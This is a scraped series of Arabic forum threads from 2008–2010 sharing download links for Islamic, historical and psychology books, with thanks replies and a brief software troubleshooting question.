الحمد لله القائل: {إِنَّ الَّذِينَ آمَنُوا وَعَمِلُوا الصَّالِحَاتِ كَانَتْ لَهُمْ جَنَّاتُ الْفِرْدَوْسِ نُزُلًا} (107) سورة الكهف
والصلاة والسلام على سيد الأنبياء والمرسلين،القائل: «الإِيمَانُ بِضْعٌ وَسَبْعُونَ أَوْ بِضْعٌ وَسِتُّونَ شُعْبَةً فَأَفْضَلُهَا قَوْلُ لاَ إِلَهَ إِلاَّ اللَّهُ وَأَدْنَاهَا إِمَاطَةُ الأَذَى عَنِ الطَّرِيقِ وَالْحَيَاءُ شُعْبَةٌ مِنَ الإِيمَانِ». صحيح مسلم (162) عَنْ أَبِى هُرَيْرَةَ
وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإن الله تعالى قد قرن بين الإيمان والعمل الصالح في كتابه العزيز،في جميع المواضع، وهذا يدل على تلازمهما معاً، فلا إيمان بلا عمل، ولا عمل بلا إيمان،فهما متلازمان تلازم الروح للجسد، قال تعالى: {قُلْ إِنَّمَا أَنَا بَشَرٌ مِّثْلُكُمْ يُوحَى إِلَيَّ أَنَّمَا إِلَهُكُمْ إِلَهٌ وَاحِدٌ فَمَن كَانَ يَرْجُو لِقَاء رَبِّهِ فَلْيَعْمَلْ عَمَلًا صَالِحًا وَلَا يُشْرِكْ بِعِبَادَةِ رَبِّهِ أَحَدًا} (110) سورة الكهف
، وكل من يقول غير ذلك فقد ضلَّ عن سواء السبيل.
وكلما قوي إيمان المرء كلما كثرت أعماله الصالحة،وكلما ضعف إيمانه كلما قلت أعماله الصالحة، وكثرت أعماله الطالحة.
"فالتفكر في الكون، وكيف خلق الله الإنسان، والتفكر في الآخرة، وفي الموت، وأن الإنسان سوف يموت، وسوف يلاقي ربه، وذكر الآخرة والحساب والصراط والميزان، تذكر عقوبة العاصين ونعيم المطيعين، كل هذا مما يقوي الإيمان ويثبته، ورأس ذلك كله تقوى الله سبحانه في السر والعلانية، والوقوف حيث أمر الله، فإذا قرأ الإنسان أية من كتاب الله، أو سمع حديثاً من كلام رسول الله صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ فيه حرام فليزدجر وليرتدع، وإن كان فيه أمر فليمتثل وليعمل به، فهذه كلها مما يقوي الإيمان.
والوسائل التي تؤدي إلى ذلك كثيرة أيضاً: مثل حضور حلقات الذكر، ومثل الاستماع إلى أهل الخير والعلماء، ومثل قراءة الكتب النافعة المفيدة، فكل ذلك مما يقوي ويحقق تثبيت الإيمان، نسأل الله أن يثبتنا وإياكم بالقول الثابت في الحياة الدنيا وفي الآخرة إنه سميع مجيب."
وفي هذا الكتاب قد جمعت جميع الآيات القرآنية التي قرنت الإيمان بالعمل الصالح.
وقد قسمته إلى تمهيد وبابين:
أما التمهيد، فذكرت فيه روايات عن أهل العلم تبين أن الإيمان اعتقاد بالقلب وقول باللسان وعمل، يزيد بالطاعات وينقص بالمعاصي
وأما البابان:
فالأول- ذكرت فيه جميع الآيات القرآنية التي قرنت الإيمان بالعمل الصالح، مرتبة حسب وردوها في القرآن الكريم، وقد وضعت لكل واحدة منها عنوانا مناسباً، وقمت بشرح الآيات بشكل مختصر.
وأما الثاني – فقد ذكرت فيه بعض البحوث حول تلازم الإيمان والعمل الصالح وأنهما معا السبيل الوحيد لإصلاح النفس الإنسانية.
قال تعالى: {قَدْ جَاءَكُمْ مِنَ اللَّهِ نُورٌ وَكِتَابٌ مُبِينٌ (15) يَهْدِي بِهِ اللَّهُ مَنِ اتَّبَعَ رِضْوَانَهُ سُبُلَ السَّلَامِ وَيُخْرِجُهُمْ مِنَ الظُّلُمَاتِ إِلَى النُّورِ بِإِذْنِهِ وَيَهْدِيهِمْ إِلَى صِرَاطٍ مُسْتَقِيمٍ (16)} [المائدة/15، 16]
أسأل الله تعالى أن يجعلنا وإياكم ممن يستمعون القول فتبعون أحسنه، وأن ينفع به كاتبه وقارئه وناشره والدال عليه في الدارين.
الباحث في القرآن والسنة
علي بن نايف الشحود
11 رمضان 1429 هـ الموافق ل 11/ 9/2008 م
ـ[أبو عبد الله السني]ــــــــ[15 - 09 - 08, 09:49 م]ـ
جعلك الله من عتقاء رمضان من النيران
جعلك الله من عتقاء رمضان من النيران
جعلك الله من عتقاء رمضان من النيران
ـ[علي 56]ــــــــ[16 - 09 - 08, 01:49 ص]ـ
وأنت أخي ابو عبد الله
جعلك الله من عتقاء رمضان من النيران(61/226)
رمضانيات المساهم (15): فيض الرحمن في الأحكام الفقهية الخاصة بالقرآن (لأول مرة) Pdf
ـ[المساهم]ــــــــ[15 - 09 - 08, 02:34 ص]ـ
الكتاب الخامس عشر
فيض الرحمن في الأحكام الفقهية الخاصة بالقرآن
إعداد
د. أحمد سالم ملحم
التحميل
archive (http://www.archive.org/details/fayed) أو adrive (http://www.adrive.com/public/b2130c29da15905a0bd0efbacce96d7ec8f83c135b8eeef70d c86c39d152b204.html)
بطاقة الكتاب
العنوان: فيض الرحمن في الأحكام الفقهية الخاصة بالقرآن.
المؤلف: د. أحمد سالم ملحم.
دار النشر: دار النفائس.
سنة الطبع: الطبعة الأولى (1421هـ / 2001م).
نوع التغليف: مجلد (540 صفحة)
ـ[طه محمد عبدالرحمن]ــــــــ[15 - 09 - 08, 02:36 ص]ـ
بارك الله فيك ..
ـ[إبراهيم أمين]ــــــــ[15 - 09 - 08, 11:20 ص]ـ
نسأل الله تعالى أن يغفر لنا ولكم وأن يتقبل منا ومنكم
ـ[أبو يوسف العامري]ــــــــ[15 - 09 - 08, 01:50 م]ـ
جهودكم مشكورة اخي المساهم
جزاك الله خيرا
ـ[أبو عبدالرحمن مصطفي]ــــــــ[15 - 09 - 08, 02:18 م]ـ
جزاك الله خيراً
ـ[إبراهيم حسين]ــــــــ[15 - 09 - 08, 03:47 م]ـ
جزاك الله خيرا(61/227)
أسبوعيات المساهم (18): كتاب بديع القرآن لابن أبي الإصبع المصري (لأول مرة) Pdf
ـ[المساهم]ــــــــ[15 - 09 - 08, 02:58 ص]ـ
بسم الله الرحمن الرحيم
كتابنا لهذه الأسبوعة الثامنة عشر ضمن مشروع
(أسبوعيات المساهم) هو
بديع القرآن لابن أبي الإصبع المصري
التحميل
archive (http://www.archive.org/details/badee3) أو adrive (http://www.adrive.com/public/2e147f72f2d3a98f63b81e89eb63deb5c9eeabb3ab33c92daf 62225e5071c05d.html)
بطاقة الكتاب
العنوان: بديع القرآن.
المؤلف: ابن أبي الإصبع المصري.
دار النشر: نهضة مصر.
سنة الطبع: من غير سنة طبع.
نوع التغليف: مجلد (525 صفحة)
ـ[إبراهيم أمين]ــــــــ[15 - 09 - 08, 11:15 ص]ـ
أصلح الله حالك وبارك فيك، وجزاك الخير العميم
ـ[النصري]ــــــــ[15 - 09 - 08, 08:42 م]ـ
السلام عليكم بوركت أيها المساهم على الأسبوعية المباركة ليتك تصور لنا مفردات الراغب الأصفهاني
ـ[إبراهيم الملولي]ــــــــ[16 - 09 - 08, 09:28 م]ـ
كتاب بديع القرآن تحفة من تحف البلاغة واللغة، ونادرة من النوادر المهمة. فجزاك الله خير وغفر لك ولوالديك, وليتك تضيف فضلا إلى مآثرك الجميلة الكتابان التاليان:
1 - البرهان الكاشف عن إعجاز القرآن، لأبي المكارم عبد الواحد الزملكاني، تحقيق: أحمد مطلوب وخديجة الحديثي، طبعة مكتبة العاني ببغداد.
2 - نهاية الإيجاز في دراية الإعجاز، لفخر الدين الرازي، تحقيق: بكري شيخ أمين، دار العلم للملايين، بيروت، 1985م.
ـ[أبو مازن العوضي]ــــــــ[17 - 09 - 08, 01:07 ص]ـ
شكر الله سعيك وجعل الجنة مثواك
ـ[أحمد محمد بسيوني]ــــــــ[13 - 10 - 08, 10:34 م]ـ
بارك الله فيكم، وسلمت يداكم
ـ[تاجر فاطمة]ــــــــ[14 - 04 - 09, 01:49 ص]ـ
هل يعد ابن ابي الاصبع من المفسرين واي مذهب يتبع
ـ[عبد الله كامل محمد]ــــــــ[14 - 04 - 09, 11:59 ص]ـ
جزاك الله خير وغفر لك ولوالديك
ـ[محمد احمد الحقاني الافغاني]ــــــــ[14 - 04 - 09, 03:06 م]ـ
بارك الله فيك
ـ[احمد محمود محمد]ــــــــ[15 - 04 - 09, 02:17 ص]ـ
جزاك الله خير وغفر لك ولوالديك
ـ[عيسى بنتفريت]ــــــــ[04 - 08 - 10, 10:58 م]ـ
بارك الله فيك واجزل لك الثواب على هذه الهدية المباركة.
ـ[أحمد بن شاهد]ــــــــ[07 - 08 - 10, 05:58 م]ـ
جزاكم الله عنا خيرا(61/228)
الدولة العثمانية عوامل النهوض وأسباب السقوط للصلابي كتاب الكتروني رائع
ـ[أحمد أبوالمعاطي]ــــــــ[15 - 09 - 08, 03:41 ص]ـ
الدولة العثمانية عوامل النهوض وأسباب السقوط للصلابي كتاب الكتروني رائع
http://img263.imageshack.us/img263/6243/get620077ymlhpr1nm5.gif
صفحات من التاريخ الاسلامي في الشمال الأفريقي
الدّوْلة العُثمَانيّة
عوامل النهوض وأسباب السقوط
تأليف
علي محمد محمد الصلابي
هذا الكتاب يتحدث عن الدولة العثمانية (عوامل النهوض وأسباب السقوط)؛ فيعطي صورة واضحة عن أصول الأتراك، ومتى دخلوا في الاسلام وعن اعمالهم المجيدة عبر التاريخ، ويستل من بطون المصادر والمراجع بعض التراجم لشخصيات تركية صهرها القرآن الكريم وساهمت في بناء الحضارة الاسلامية، ونصرت مذهب أهل السنة أمثال، السلطان سلجوق، وألب أرسلان، ونظام الملك، وملكشاه، ويتحدث الكتاب عن جهادهم ودعوتهم وحبهم للعلم والعدل، ويبين أن الأتراك الذين قاموا ببناء الدولة العثمانية امتداداً للسلاجقة ويتحدث حديثاً منصفاً عن زعماء الدولة العثمانية كعثمان الأول، وأورخان، ومراد الأول، وبايزيد الأول، ومحمد جلبي، ومراد الثاني ومحمد الفاتح، ويبين صفاتهم والمنهج الذي ساروا عليه، وكيف تعاملوا مع سنن الله في بناء الدولة كسنة التدرج، وسنة الأخذ بالأسباب، وسنة تغيير النفوس، وسنة التدافع، وسنة الابتلاء، وكيف حقق القادة الأوائل شروط التمكين، وكيف أخذوا بأسبابه المادية والمعنوية؟ وماهي المراحل التي مرت بها؟ وكيف كان فتح القسطنطينية نتيجة لجهود تراكمية شارك فيها العلماء والفقهاء والجنود والقادة على مر العصور وكر الدهور وتوالي الأزمان؟ ويبين للقارئ الكريم أن النهوض العثماني كان شاملاً في كافة المجالات العلمية والسياسية والاقتصادية والإعلامية والحربية، وأن للتمكين صفات، لابد من توفرها في القادة، والأمة، وبفقدها يفقد التمكين.
ويوضح للقارئ حقيقة الدولة العثمانية والأسس التي قامت عليها والأعمال الجليلة التي قدمتها للأمة؛ كحماية الأماكن المقدسة الإسلامية من مخططات الصليبية البرتغالية، ومناصرة أهالي الشمال الأفريقي ضد الحملات الصليبية الإسبانية وغيرها، وإيجاد وحدة طبيعية بين الولايات العربية، وإبعاد الزحف الاستعماري عن ديار الشام ومصر، وغيرها من الاراضي الاسلامية، ومنع انتشار المذهب الاثنى عشري الشيعي الرافضي الى الولايات الاسلامية التابعة للدولة العثمانية ومنع اليهود من استيطان فلسطين، ودورها في نشر الاسلام في أوروبا ويتحدث هذا البحث عن سلبيات الخلافة العثمانية، والتي كان لها الأثر في إضعاف الحكم، كأهمال اللغة العربية التي هي لغة القرآن الكريم والحديث الشريف في أخر عهدها، وعدم الوعي الاسلامي الصحيح، وانحرافها عن شرع الله تعالى وتأثرها بالدعوات التغريبية، ويتكلم عن حقيقة الصراع بين الحركة الوهابية والدولة العثمانية، وعن الدور المشبوه الذي قام به محمد علي لصالح بريطانيا وفرنسا في ضربه للتيار الاسلامي في مصر، والحجاز، والشام، وعن حركته التغريبية التي كانت خطوة نحو الإنسلاخ عن المبادئ الاسلامية الأصيلة ويتحدث عن الدعم الماسوني الذي كان خلف سياسات محمد علي المدمرة للأمة الاسلامية ويوضح الكتاب أن محمد علي كان مخلباً وخنجراً مسموماً استعمله الأعداء في تنفيذ مخططاتهم ولذلك وقفوا معه في نهضته العلمية، والاقتصادية والعسكرية بعد أن أيقنوا بضعف الجانب العقدي والإسلامي لديه ولدى أعوانه وجنوده، وكيف ترتب على دور محمد علي في المنطقة بأسرها أن تنبهت الدول الأوروبية الى مدى الضعف الذي أصبحت عليه الدولة العثمانية، وبالتالي استعدادها لتقسيم أراضيها حينما تتهيأ الظروف السياسية.
(يُتْبَع .. اقلب الصفحة)
(61/229)
ويتكلم عن السلطان محمود الثاني الذي ترسم خطى الحضارة الغربية في حركته الاصلاحية، ويتحدث عن أبنه عبدالمجيد الذي تولى السلطنة من بعده والذي كان خاضعاً لتأثير وزيره رشيد باشا الذي وجد مثله وفلسفته في الماسونية، وكيف ساهم هذا الوزير مع أنصاره في دفع عجلة التغريب التي كانت تدور حول نقاط ثلاثة هامة: الاقتباس من الغرب فيما يتعلق بتنظيم الجيش، والاتجاه بالمجتمع نحو التشكيل العلماني، والاتجاه نحو مركزية السلطة في استانبول والولايات، وكيف كانت الخطوات الجرية التي اتخذها الماسون الأتراك نحو علمنة الدولة وإظهار خطى كلخانة وهمايون والوصول الى دستور مدحت باشا عام 1876م وكان ذلك الحدث أول مرة في تاريخ الاسلام ودوله يجري العمل بدستور مأخوذ عن الدستور الفرنسي والبلجيكي والسويسري وهي دساتير وضعية علمانية.
ويوضح للقارئ كيف وضعت حركة التنظيمات الدولة العثمانية رسمياً على طريق نهايتها كدولة اسلامية، فعلمنة القوانين ووضعت مؤسسات تعمل بقوانين وضعية، وابتعدت الدولة عن التشريع الاسلامي في مجالات التجارة والسياسة والاقتصاد، وبذلك سحب من الدولة العثمانية شرعيتها من أنظار المسلمين.
ويبين للقارئ الكريم كيف هيمن رجال التغريب على الدولة العثمانية في زمن السلطان عبدالعزيز وعندما تعرض لكثير من مخططاتهم عزلوه ثم قتلوه.
ويتحدث عن الجهود العظيمة التي قام بها السلطان عبدالحميد خدمة للإسلام، ودفاعاً عن دولته، وتوحيداً لجهود الامة تحت رايته، وكيف ظهرت فكرة الجامعة الاسلامية في معترك السياسة الدولية في زمن السلطان عبدالحميد؟ ويفصل الكتاب في الوسائل التي اتخذها السلطان عبدالحميد في تنفيذ مخططه للوصول الى الجامعة الاسلامية، كالاتصال بالدعاة، وتنظيم الطرق الصوفية، والعمل على تعريب الدولة، وإقامة مدرسة العشائر، وإقامة خط سكة حديد الحجاز، وإبطال مخططات الأعداء، ويركز الكتاب على جهود الصهيونية العالمية في دعم أعداء السلطان عبدالحميد كالمتمردين الأرمن، والقوميين البلقان، وحركة حزب الاتحاد والترقي، والوقوف مع الحركات الانفصالية عن الدولة العثمانية وكيف استطاع أعداء الاسلام عزل السلطان عبدالحميد؟ وماهي الخطوات التي اتخذت للقضاء على الخلافة العثمانية؟ وكيف صنع البطل المزيف مصطفى كمال؟ الذي عمل على سلخ تركيا من عقيدتها واسلامها، وحارب التدين، وضيق على الدعاة، ودعا الى السفور والاختلاط، ولم يترك الكتاب الحديث عن بشائر الاسلام في تركيا ويشير الى الجهود العظيمة التي قامت بها الحركة الاسلامية في تركيا بفصائلها المتعددة وتترك القارئ المسلم ينظر بنور الإيمان الى مستقبل الاسلام في تركيا والعالم أجمع.
وفي نهاية الكتاب يهتم الباحث بإبراز أسباب السقوط من المنظور القرآني، ليبين للقارئ أن اسباب السقوط عديدة منها؛ انحراف الأمة عن مفاهيم دينها، كعقيدة الولاء والبراء، ومفهوم العبادة، وانتشار مظاهر الشرك والبدع، وانحرافات وظهور الصوفية المنحرفة كقوة منظمة في المجتمع الاسلامي تحمل عقائد وأفكار وعبادات بعيدة عن كتاب الله وسنة رسوله صلى الله عليه وسلم، وينبه القارئ المسلم عن خطورة الفرق المنحرفة في إضعاف الأمة كالفرقة الأثنى عشرية الشيعية الرافضية، والدروز والنصيرية والإسماعيلية، والقاديانية، والبهائية وغيرها من الفرق الضالة المحسوبة على الاسلام، ويتحدث الكتاب عن غياب القيادة الربانية كسبب في ضياع الأمة وخصوصاً عندما يصبح علمائها ألعوبة بيد الحكام الجائرين، ويتسابقون على الوظائف والمراتب وغاب دورهم المطلوب منهم، وكيف اصيبت العلوم الدينية في نهاية الدولة العثمانية بالجمود والتحجر؟ وكيف اهتم العلماء بالمختصرات والشروح والحواشي والتقريرات؟ وتباعدوا عن روح الاسلام الحقيقة المستمدة من كتاب الله وسنة رسوله r ، ورفض كثير من العلماء فتح باب الاجتهاد، وأصبحت الدعوة لفتح بابه تهمة كبيرة تصل الى الرمي بالكبائر، وتصل عند بعض المقلدين والجامدين الى حد الكفر، وتعرض الكتاب للظلم الذي انتشر في الدولة وما أصابها من الترف والانغماس في الشهوات وشدة الاختلاف والتفرق وماترتب عن الابتعاد عن شرع الله من آثار خطيرة، كالضعف السياسي،والحربي، والاقتصادي، والعلمي، والأخلاقي، والاجتماعي، وكيف فقدت الأمة قدرتها على المقاومة، والقضاء على أعدائها؟ وكيف استعمرت وغزيت فكرياً، نتيجة لفقدها لشروط التمكين وابتعادهاعن اسبابه المادية والمعنوية، وجهلها بسنن الله في نهوض الأمم وسقوطها، قال تعالى: {ولو أن أهل القرى آمنوا واتقوا لفتحنا عليهم بركات من السماء والأرض، ولكن كذبوا فأخذناهم بما كانوا يكسبون} (سورة الأعراف: آية 196).
حجم البرنامج 970كيلوبايت
http://img185.imageshack.us/img185/8906/tajmeel1yh6ps2.gif
http://i285.photobucket.com/albums/ll64/Abolmaaty/1-64.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/2-63.jpg
http://i285.photobucket.com/albums/ll64/Abolmaaty/3-58.jpg
روابط التنزيل
http://uploads.bizhat.com/file/204297
أو
http://www.tafsir.org/vb/attachment.php?attachmentid=1912&d=1217778997
فلنتعاون في الله بنشره على مواقع أخرى
http://img267.imageshack.us/img267/8083/mod4uf8fb5.gif
الكتب الالكترونية الاسلامية ( http://adel-ebooks.mam9.com)
(يُتْبَع .. اقلب الصفحة)
(61/230)
ـ[إكرام شقرون]ــــــــ[15 - 09 - 08, 04:21 ص]ـ
جزاك الله خيرا(61/231)
حمل كتاب: تاريخ الجزائر في العصر الوسيط من خلال المصادر
ـ[إكرام شقرون]ــــــــ[15 - 09 - 08, 03:43 ص]ـ
عنوان الكتاب:
تاريخ الجزائر في العصر الوسيط من خلال المصادر
لمحة عن الكتاب
يعالج هذا الكتاب تاريخ الجزائر، ومكانتها الفكرية والعلمية والسياسية في تاريخ حضارة الغرب الإسلامي منذ الفتح العربي إلى نهاية العصر الزياني.
المقدمة
تمهيد
توجيه إلى المصادر والمراجع
الحواشي
الفصل الأول
حملة حسان الأولى وسقوط قرطاجنة
نسب حسان بن نعمان
حسان والفتح الحقيقي للمغرب
خط سير الجيش
خطة حسان الحربية
لقاء الطرفين وسقوط قرطاجنة
المطاردة
الموقف السياسي والعسكري في المغرب الأوسط
شخصية الكاهنة
معركة وادي نيني
الحواشي
الفصل الثاني
حملة حسان الثانية والقضاء على النفوذ البيزنطي
الوضع السياسي والعسكري في المغرب بعد خروج المسلمين منها
اهتمام الإمبراطورية البيزنطية بالمغرب
المعركة الفاصلة (بئر الكاهنة)
الحواشي
الفصل الثالث
نتائج حملة حسان وأثرها على المجتمع
تدوين الدواوين
الخراج
تنظيم الجيش الإسلامي الفاتح
دخول سكان الأوراس في الإسلام
تحالف سكان الأوراس مع المسلمين
الخلاصة
الحواشي
ثبت بمصادر ومراجع البحث
الفصل الرابع
دراسة نقدية لأهم المصادر المعتمدة في البحث
المصادر التاريخية
النوازل الفقهية
كتب الفهارس
المصادر البلدانية والرحلات
المصادر الأثرية
الحواشي
الفصل الخامس
مصادر تاريخ مدارس تلمسان في العهد الزياني
تمهيد
مدرسة أولاد الإمام
المدرسة التاشفينية
المدرسة اليعقوبية
تمويل المدارس واوقافها
الحواشي
الفصل السادس
مصادر تاريخ مدارس تلمسان في العهد المريني
تمهيد
مدرسة العباد
مدرسة سيدي الحلوي
مصادر ومراجع البحث
الفصل السابع
المغرب الأوسط في كتابة الرحالة والجغرافيين العرب
تمهيد
وصف ابن حوقل لبلاد المغرب
علاقة ابن حوقل بالفاطميين
الوضع السياسي الذي كتبت فيه النصوص
ابن خرد دابة
الطريق من برقة إلى المغرب
حواشي
الفصل الثامن
أوصاف الجزائر في كتابات أبي عبيد الله البكري
زمن تاليف الكتاب
المؤلف
وصف البكري للجزائر في القرن الخامس الهجري الحادي عشر الميلادي
وصف المدن الواقعة بين القيروان وقلعة ابي طويل
وصف مدن أخرى الواقعة بين القيروان والقلعة
وصف المدن الواقعة بين القلعة وتنس
وصف المدن الموجودة على الطريق الواصل بيت القيروان ومرسى الزيتونة
وصف الطريق الواصل بين أشير ومرسى الدجاج
وصف المدن الموجودة على الطريق الواصل بين أشير إلى جزائر بني مزغنة وأهم مراحله
وصف المدن الواقعة بين قيروان وتنس
ذكر المراسي الهامة المتواجدة على ساحل بلاد الجزائر
حواشي
الفصل التاسع
الجزائر الوسيطية في المصادر الأجنبية
الجزائر من خلال المصادر الفرنسية
العلاقات بين الجزائر وفرنسا
العلاقات التجارية
دور المدن والموانيء الجزائرية والفرنسية في الملاحة والتجارة
الحواشي
مراجع البحث
فهرس الكتاب
لتحميل الكتاب أنقر هنا
http://www.m-moudjahidine.dz/bibliotheque/livre06/livre06.pdf
ـ[خلدون الجزائري]ــــــــ[16 - 09 - 08, 02:14 ص]ـ
عمل يستحق الشكر والتشجيع، بارك الله فيك
ـ[احمد محمود محمد]ــــــــ[16 - 09 - 08, 03:54 ص]ـ
جزاك الله خير
ـ[العطافي]ــــــــ[16 - 09 - 08, 03:54 ص]ـ
بارك الله فيك أخي علي المجهود
ـ[أبو عبد البر المالكي]ــــــــ[17 - 09 - 08, 06:18 م]ـ
بارك الله فيك
ـ[ميهوب بوعلام]ــــــــ[20 - 09 - 08, 02:31 ص]ـ
بارك الله فيك(61/232)
أصول علم النفس
ـ[رحاب عمر عزت]ــــــــ[15 - 09 - 08, 04:32 ص]ـ
من يتكرم علينا يا اخواني برفع كتاب اصول علم النفس لأحمد عزت راجح الذي كان على الوقفية فأنا في شدة الحاجة اليه
ـ[أبو دان]ــــــــ[15 - 09 - 08, 02:30 م]ـ
أصول علم النفس. rar - 12.9 Mb (http://arabsh.com/8xw4xpc6et01/ أصول علم النفس. rar.html)
ـ[أبو عبد الرحمان القسنطيني الجزائري]ــــــــ[30 - 01 - 09, 01:53 ص]ـ
هل من مجيب؟
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[30 - 01 - 09, 03:02 م]ـ
< HR style="COLOR: #d1d1e1" SIZE=1> <!-- / icon and title --><!-- message -->
<CENTER><TABLE dir=rtl cellSpacing=0 cellPadding=0 width="80%" border=0><TBODY><TR><TD width="1%">http://www.al3ez.net/vb/images/myframes/tl7.gif</TD><TD width="33%" background=images/myframes/t7.gif></TD><TD width="1%">http://www.al3ez.net/vb/images/myframes/tl7.gif</TD></TR><TR><TD style="FILTER: fliph" width="1%" background=images/myframes/l7.gif></TD><TD style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" width="33%" background=images/myframes/7.gif><SMALLFONT>*@ كتاب أصول علم النفس@*
*-------------*--------------*
كتاب من أمهات الكتب الشاملة في علم النفس ... اليكم النسخة الألكترونية منه
* * * *
أصول علم النفس
دكتور أحمد عزت راجح
أستاذ علم النفس بجامعة الأسكندرية
الطبعة السابعة
مزيدة منقحة
1967
صادر عن: دار الكاتب العربي للطباعة والنشر
بالقاهرة
فرع الساحل
عدد صفحات الكتاب: 532 - ------بالأضافة الى معجم المصطلحات
---------------------------------------------------------------------------------------
الباب الأول
المدخل
الفصل الأول: موضوع علم النفس وفروعة
ا
الفصل الثاني: مناهج البحث فيه و مدارسة المعاصرة
-------------------------------------------------------------------------------------------
الباب الثاني
دوافع السلوك
تمهيد وتعريف
الفصل الأول: الدوافع الفطرية
الفصل الثاني: الدوافع المكتسبة
الفصل الثالث: الدوافع اللا شعورية
الفصل الرابع: الانفعالات
--------------------------------------------------------------------------------------
الباب الثالث
العمليات العقلية
الفصل الأول: الأنتباه والأدراك
الفصل الثاني: التعلم
الفصل الثالث: التعلم والتعليم
الفصلالرابع: التذكر والنسيان
الفصل الخامس: التفكير
الفصل السادس: الأستدلال والأبتكار
----------------------------------------------------------------------------------------
الباب الرابع
تمهيد في الفروق الفردية
الذكاء والأستعدادات
الفصل الأول: طبيعة الذكاء
الفصل الثاني: خصائص الذكاء
الفصل الثالث: الأستعدادات
---------------------------------------------------------------------------------------
الباب الخامس
الشخصية
الفصل الأول: بناء الشخصية
الفصل الثاني: الحكم على الشخصية
الفصل الثالث: نمو الشخصية
---------------------------------------------------------------------------------------
الباب السادس
الصحة النفسية
الفصل الأول: الأزمات النفسية
الفصل الثاني: الأمراض النفسية والعقلية
الفصل الثالث: مبادئ الصحة النفسية
-----------------------------------------------------------------------------------
الجزء الأخير: أسئلة في الصحة النفسية
: مراجع
: معجم أنجليزي \عربي لمصطلحات علم النفس
ــــــــــــــــــــــــــــــــــــــــــــــــــ ــــــــــــــــــــــــــــــــــــــــــــ
من على الرابط ..
http://www.almaknaz.com/pdf/01/73/0073.rar (http://www.almaknaz.com/pdf/01/73/0073.rar)
</TD><TD width="1%" background=images/myframes/l7.gif></TD></TR><TR><TD width="1%">http://www.al3ez.net/vb/images/myframes/tl7.gif</TD></TR></TBODY></TABLE></CENTER>
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[30 - 01 - 09, 03:03 م]ـ
< HR style="COLOR: #d1d1e1" SIZE=1> <!-- / icon and title --><!-- message -->
(يُتْبَع .. اقلب الصفحة)
(61/233)
< CENTER><TABLE dir=rtl cellSpacing=0 cellPadding=0 width="80%" border=0><TBODY><TR><TD width="1%"></TD><TD width="33%" background=images/myframes/t7.gif></TD><TD width="1%"></TD></TR><TR><TD style="FILTER: fliph" width="1%" background=images/myframes/l7.gif></TD><TD style="PADDING-RIGHT: 2px; PADDING-LEFT: 2px; PADDING-BOTTOM: 2px; PADDING-TOP: 2px" width="33%" background=images/myframes/7.gif><SMALLFONT>*@ كتاب أصول علم النفس@*
*-------------*--------------*
كتاب من أمهات الكتب الشاملة في علم النفس ... اليكم النسخة الألكترونية منه
* * * *
أصول علم النفس
دكتور أحمد عزت راجح
أستاذ علم النفس بجامعة الأسكندرية
الطبعة السابعة
مزيدة منقحة
1967
صادر عن: دار الكاتب العربي للطباعة والنشر
بالقاهرة
فرع الساحل
عدد صفحات الكتاب: 532 - ------بالأضافة الى معجم المصطلحات
---------------------------------------------------------------------------------------
الباب الأول
المدخل
الفصل الأول: موضوع علم النفس وفروعة
ا
الفصل الثاني: مناهج البحث فيه و مدارسة المعاصرة
-------------------------------------------------------------------------------------------
الباب الثاني
دوافع السلوك
تمهيد وتعريف
الفصل الأول: الدوافع الفطرية
الفصل الثاني: الدوافع المكتسبة
الفصل الثالث: الدوافع اللا شعورية
الفصل الرابع: الانفعالات
--------------------------------------------------------------------------------------
الباب الثالث
العمليات العقلية
الفصل الأول: الأنتباه والأدراك
الفصل الثاني: التعلم
الفصل الثالث: التعلم والتعليم
الفصلالرابع: التذكر والنسيان
الفصل الخامس: التفكير
الفصل السادس: الأستدلال والأبتكار
----------------------------------------------------------------------------------------
الباب الرابع
تمهيد في الفروق الفردية
الذكاء والأستعدادات
الفصل الأول: طبيعة الذكاء
الفصل الثاني: خصائص الذكاء
الفصل الثالث: الأستعدادات
---------------------------------------------------------------------------------------
الباب الخامس
الشخصية
الفصل الأول: بناء الشخصية
الفصل الثاني: الحكم على الشخصية
الفصل الثالث: نمو الشخصية
---------------------------------------------------------------------------------------
الباب السادس
الصحة النفسية
الفصل الأول: الأزمات النفسية
الفصل الثاني: الأمراض النفسية والعقلية
الفصل الثالث: مبادئ الصحة النفسية
-----------------------------------------------------------------------------------
الجزء الأخير: أسئلة في الصحة النفسية
: مراجع
: معجم أنجليزي \عربي لمصطلحات علم النفس
ــــــــــــــــــــــــــــــــــــــــــــــــــ ــــــــــــــــــــــــــــــــــــــــــــ
من على الرابط ..
http://www.almaknaz.com/pdf/01/73/0073.rar (http://www.almaknaz.com/pdf/01/73/0073.rar)
</TD><TD width="1%" background=images/myframes/l7.gif></TD></TR><TR><TD width="1%"></TD></TR></TBODY></TABLE></CENTER>
ـ[ابو عبد الرحمن الأندلسي]ــــــــ[30 - 01 - 09, 03:05 م]ـ
http://www.4shared.com/file/20393122/571453a0/___online.html?dirPwdVerified=3c2294e5
ـ[أبو عبد الرحمان القسنطيني الجزائري]ــــــــ[31 - 01 - 09, 12:49 ص]ـ
جزاك الله خيرا
ـ[محمد بن أحمد مصطفى]ــــــــ[22 - 05 - 10, 11:44 ص]ـ
جزاكم الله خيرا(61/234)
شيء غريب جدا في الشاملة 3.11 أرجو ان اجد له تفسيرا وهو انها تفتح بعد ثلاث أو خمس دقائق
ـ[عزمي أبو عبد الظاهر]ــــــــ[15 - 09 - 08, 02:39 م]ـ
السلام عليكم
سؤال
الشاملة بعد التحديث 3.11 تقيلة في الفتح
أعني اجي افتحها تقعد حوالي ثلاث دقائق او خمسة على ما تفتح
وهذا امر عجيب ما حدث من قبل في اي اصدار سابق
ارجو الاجابة
وشكرا
ـ[صالحي أحمد]ــــــــ[15 - 09 - 08, 04:29 م]ـ
السلام عليكم
قمت بالتحديث لكن ما وجدت هذه المشكلة
إذا المشكلة في جهازك
ـ[عزمي أبو عبد الظاهر]ــــــــ[15 - 09 - 08, 05:12 م]ـ
شكرا لك أخي الحبيب صالحي أحمد.
حذفت البرنامج , وسأعيد تنصيبه من جديد إن شاء الله تعالى.
ـ[محمد الخامس باغوش]ــــــــ[15 - 09 - 08, 05:19 م]ـ
